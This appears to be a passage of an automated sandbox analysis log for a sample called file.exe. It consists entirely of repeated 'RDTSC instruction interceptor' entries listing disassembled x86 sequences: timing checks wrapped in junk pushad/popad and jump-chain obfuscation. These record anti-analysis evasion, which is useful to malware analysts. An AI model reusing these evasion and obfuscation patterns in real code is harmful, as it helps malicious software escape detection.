Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 674FE7 second address: 674FEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 674FEC second address: 674FF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FF398EAF4C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 674FF6 second address: 67501A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF399017D86h 0x00000007 jg 00007FF399017D76h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push esi 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58E9BC second address: 58E9C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52903D9 second address: 5290430 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, di 0x00000006 call 00007FF399017D83h 0x0000000b pop esi 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov edx, dword ptr [ebp+0Ch] 0x00000012 pushad 0x00000013 mov bx, E2B8h 0x00000017 popad 0x00000018 mov ecx, dword ptr [ebp+08h] 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e call 00007FF399017D7Fh 0x00000023 pop eax 0x00000024 call 00007FF399017D89h 0x00000029 pop eax 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0643 second address: 52C06D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop ecx 0x00000005 pushfd 0x00000006 jmp 00007FF398EAF4D3h 0x0000000b add eax, 48A1B7AEh 0x00000011 jmp 00007FF398EAF4D9h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ebp 0x0000001b jmp 00007FF398EAF4CEh 0x00000020 push eax 0x00000021 jmp 00007FF398EAF4CBh 0x00000026 xchg eax, ebp 0x00000027 jmp 00007FF398EAF4D6h 0x0000002c mov ebp, esp 0x0000002e pushad 0x0000002f pushad 0x00000030 mov esi, 1F7184A3h 0x00000035 mov si, C7FFh 0x00000039 popad 0x0000003a mov ecx, 0B00E51Bh 0x0000003f popad 0x00000040 xchg eax, ecx 0x00000041 push eax 0x00000042 push edx 0x00000043 jmp 00007FF398EAF4CDh 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C06D5 second address: 52C0714 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FF399017D89h 0x0000000e xchg eax, ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FF399017D88h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0714 second address: 52C0723 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF398EAF4CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0723 second address: 52C0729 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0729 second address: 52C073B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov si, di 0x0000000f push edi 0x00000010 pop eax 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C073B second address: 52C0741 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0741 second address: 52C078E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF398EAF4D8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], esi 0x0000000e jmp 00007FF398EAF4D0h 0x00000013 lea eax, dword ptr [ebp-04h] 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FF398EAF4D7h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C07E1 second address: 52C07E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C07E5 second address: 52C07EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0017 second address: 52C008F instructions: 0x00000000 rdtsc 0x00000002 mov edx, ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov esi, 0231816Dh 0x0000000b popad 0x0000000c xchg eax, ebp 0x0000000d jmp 00007FF399017D88h 0x00000012 push eax 0x00000013 pushad 0x00000014 mov ah, bl 0x00000016 pushad 0x00000017 mov di, si 0x0000001a pushad 0x0000001b popad 0x0000001c popad 0x0000001d popad 0x0000001e xchg eax, ebp 0x0000001f pushad 0x00000020 mov edx, eax 0x00000022 mov ch, 3Bh 0x00000024 popad 0x00000025 mov ebp, esp 0x00000027 pushad 0x00000028 mov edx, 67C28CD6h 0x0000002d movsx edx, ax 0x00000030 popad 0x00000031 push FFFFFFFEh 0x00000033 jmp 00007FF399017D86h 0x00000038 push 2E3EF413h 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 jmp 00007FF399017D83h 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C008F second address: 52C00AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF398EAF4D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C00AC second address: 52C00BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF399017D7Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C00BC second address: 52C00C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C00C0 second address: 52C0155 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [esp], 5B906A5Bh 0x0000000f jmp 00007FF399017D87h 0x00000014 push 595D3C49h 0x00000019 jmp 00007FF399017D7Fh 0x0000001e xor dword ptr [esp], 2CF41739h 0x00000025 pushad 0x00000026 mov dx, cx 0x00000029 pushfd 0x0000002a jmp 00007FF399017D80h 0x0000002f jmp 00007FF399017D85h 0x00000034 popfd 0x00000035 popad 0x00000036 mov eax, dword ptr fs:[00000000h] 0x0000003c pushad 0x0000003d mov ebx, ecx 0x0000003f mov bx, ax 0x00000042 popad 0x00000043 nop 0x00000044 push eax 0x00000045 push edx 0x00000046 pushad 0x00000047 push ebx 0x00000048 pop eax 0x00000049 call 00007FF399017D83h 0x0000004e pop eax 0x0000004f popad 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0155 second address: 52C015B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C015B second address: 52C015F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C015F second address: 52C01E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FF398EAF4D7h 0x0000000e nop 0x0000000f jmp 00007FF398EAF4D6h 0x00000014 sub esp, 18h 0x00000017 jmp 00007FF398EAF4D0h 0x0000001c xchg eax, ebx 0x0000001d jmp 00007FF398EAF4D0h 0x00000022 push eax 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 mov ebx, ecx 0x00000028 pushfd 0x00000029 jmp 00007FF398EAF4D8h 0x0000002e add ch, FFFFFF88h 0x00000031 jmp 00007FF398EAF4CBh 0x00000036 popfd 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C01E9 second address: 52C020D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF399017D89h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C020D second address: 52C0213 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0213 second address: 52C0251 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FF399017D80h 0x00000009 adc ax, C448h 0x0000000e jmp 00007FF399017D7Bh 0x00000013 popfd 0x00000014 mov edx, esi 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 xchg eax, esi 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FF399017D81h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0251 second address: 52C0257 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0257 second address: 52C0277 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF399017D83h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0277 second address: 52C027D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C027D second address: 52C0283 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0283 second address: 52C02B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF398EAF4CFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FF398EAF4D5h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C02B0 second address: 52C0302 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF399017D81h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FF399017D83h 0x00000011 or ax, 240Eh 0x00000016 jmp 00007FF399017D89h 0x0000001b popfd 0x0000001c popad 0x0000001d push eax 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0302 second address: 52C031C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF398EAF4D6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C031C second address: 52C0322 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0322 second address: 52C0373 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, edi 0x00000009 jmp 00007FF398EAF4D9h 0x0000000e mov eax, dword ptr [75AF4538h] 0x00000013 jmp 00007FF398EAF4CEh 0x00000018 xor dword ptr [ebp-08h], eax 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FF398EAF4D7h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0373 second address: 52C0379 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C047D second address: 52C04FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, bx 0x00000006 mov ebx, 3DF1372Eh 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [ebp-18h], esp 0x00000011 pushad 0x00000012 call 00007FF398EAF4CBh 0x00000017 mov dl, ah 0x00000019 pop ebx 0x0000001a mov bx, cx 0x0000001d popad 0x0000001e mov eax, dword ptr fs:[00000018h] 0x00000024 pushad 0x00000025 jmp 00007FF398EAF4D6h 0x0000002a popad 0x0000002b mov ecx, dword ptr [eax+00000FDCh] 0x00000031 jmp 00007FF398EAF4D0h 0x00000036 test ecx, ecx 0x00000038 jmp 00007FF398EAF4D0h 0x0000003d jns 00007FF398EAF54Ch 0x00000043 push eax 0x00000044 push edx 0x00000045 push eax 0x00000046 push edx 0x00000047 jmp 00007FF398EAF4CAh 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C04FB second address: 52C050A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF399017D7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B00E6 second address: 52B00F7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF398EAF4CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B00F7 second address: 52B00FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B00FD second address: 52B0101 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0101 second address: 52B014D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF399017D83h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], ebx 0x0000000e jmp 00007FF399017D86h 0x00000013 xchg eax, edi 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FF399017D87h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B014D second address: 52B0153 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0153 second address: 52B0157 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0157 second address: 52B015B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B015B second address: 52B01BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FF399017D83h 0x00000012 and cx, A8BEh 0x00000017 jmp 00007FF399017D89h 0x0000001c popfd 0x0000001d pushfd 0x0000001e jmp 00007FF399017D80h 0x00000023 sub ecx, 13EDD9B8h 0x00000029 jmp 00007FF399017D7Bh 0x0000002e popfd 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0210 second address: 52B0216 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0216 second address: 52B02C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx ecx, di 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub ebx, ebx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FF399017D81h 0x00000012 xor al, FFFFFFC6h 0x00000015 jmp 00007FF399017D81h 0x0000001a popfd 0x0000001b mov ax, EE77h 0x0000001f popad 0x00000020 sub edi, edi 0x00000022 jmp 00007FF399017D83h 0x00000027 inc ebx 0x00000028 pushad 0x00000029 mov bl, ah 0x0000002b push ebx 0x0000002c push ecx 0x0000002d pop edi 0x0000002e pop ecx 0x0000002f popad 0x00000030 test al, al 0x00000032 jmp 00007FF399017D7Fh 0x00000037 je 00007FF399017F7Dh 0x0000003d jmp 00007FF399017D86h 0x00000042 lea ecx, dword ptr [ebp-14h] 0x00000045 jmp 00007FF399017D80h 0x0000004a mov dword ptr [ebp-14h], edi 0x0000004d pushad 0x0000004e call 00007FF399017D7Eh 0x00000053 push eax 0x00000054 pop edx 0x00000055 pop ecx 0x00000056 pushad 0x00000057 push eax 0x00000058 push edx 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B031E second address: 52B0325 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0325 second address: 52B033E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FF399017D7Fh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B033E second address: 52B0382 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, bx 0x00000006 pushfd 0x00000007 jmp 00007FF398EAF4CBh 0x0000000c adc ax, BDEEh 0x00000011 jmp 00007FF398EAF4D9h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a nop 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FF398EAF4CDh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0382 second address: 52B0388 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0388 second address: 52B038C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B03BF second address: 52B03C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B03C5 second address: 52B03CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B03CB second address: 52B03CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B03CF second address: 52B03D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B03D3 second address: 52B03E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test eax, eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B03E2 second address: 52B03EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dx, FD72h 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B03EB second address: 52B03F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B03F1 second address: 52B042B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF398EAF4D2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jg 00007FF40969D549h 0x00000011 jmp 00007FF398EAF4D0h 0x00000016 js 00007FF398EAF52Bh 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B042B second address: 52B0431 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0431 second address: 52B047A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF398EAF4D4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [ebp-14h], edi 0x0000000c pushad 0x0000000d pushad 0x0000000e mov si, CD73h 0x00000012 popad 0x00000013 mov si, 77EBh 0x00000017 popad 0x00000018 jne 00007FF40969D509h 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007FF398EAF4D8h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B047A second address: 52B0480 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0480 second address: 52B04F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov ebx, dword ptr [ebp+08h] 0x0000000d jmp 00007FF398EAF4D4h 0x00000012 lea eax, dword ptr [ebp-2Ch] 0x00000015 pushad 0x00000016 mov dh, al 0x00000018 mov esi, edi 0x0000001a popad 0x0000001b push ebx 0x0000001c jmp 00007FF398EAF4D2h 0x00000021 mov dword ptr [esp], esi 0x00000024 jmp 00007FF398EAF4D0h 0x00000029 nop 0x0000002a jmp 00007FF398EAF4D0h 0x0000002f push eax 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007FF398EAF4CEh 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B04F2 second address: 52B0522 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF399017D81h 0x00000008 jmp 00007FF399017D80h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 nop 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 mov ecx, 5EEA94B3h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0522 second address: 52B0561 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF398EAF4D8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a mov ax, 83F7h 0x0000000e mov cx, 6893h 0x00000012 popad 0x00000013 popad 0x00000014 xchg eax, ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FF398EAF4D5h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0561 second address: 52B0567 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0567 second address: 52B056B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0618 second address: 52A07CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 mov eax, edx 0x00000007 pop ebx 0x00000008 popad 0x00000009 je 00007FF409805DAAh 0x0000000f xor eax, eax 0x00000011 jmp 00007FF398FF14AAh 0x00000016 pop esi 0x00000017 pop edi 0x00000018 pop ebx 0x00000019 leave 0x0000001a retn 0004h 0x0000001d nop 0x0000001e cmp eax, 00000000h 0x00000021 setne cl 0x00000024 xor ebx, ebx 0x00000026 test cl, 00000001h 0x00000029 jne 00007FF399017D77h 0x0000002b jmp 00007FF399017E9Ah 0x00000030 call 00007FF39DF046CBh 0x00000035 mov edi, edi 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A07CF second address: 52A07D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A07D3 second address: 52A07EE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF399017D87h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A07EE second address: 52A0847 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF398EAF4D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FF398EAF4D3h 0x00000013 or si, 11EEh 0x00000018 jmp 00007FF398EAF4D9h 0x0000001d popfd 0x0000001e mov cx, A177h 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A0847 second address: 52A084D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A084D second address: 52A0851 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A0851 second address: 52A0855 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
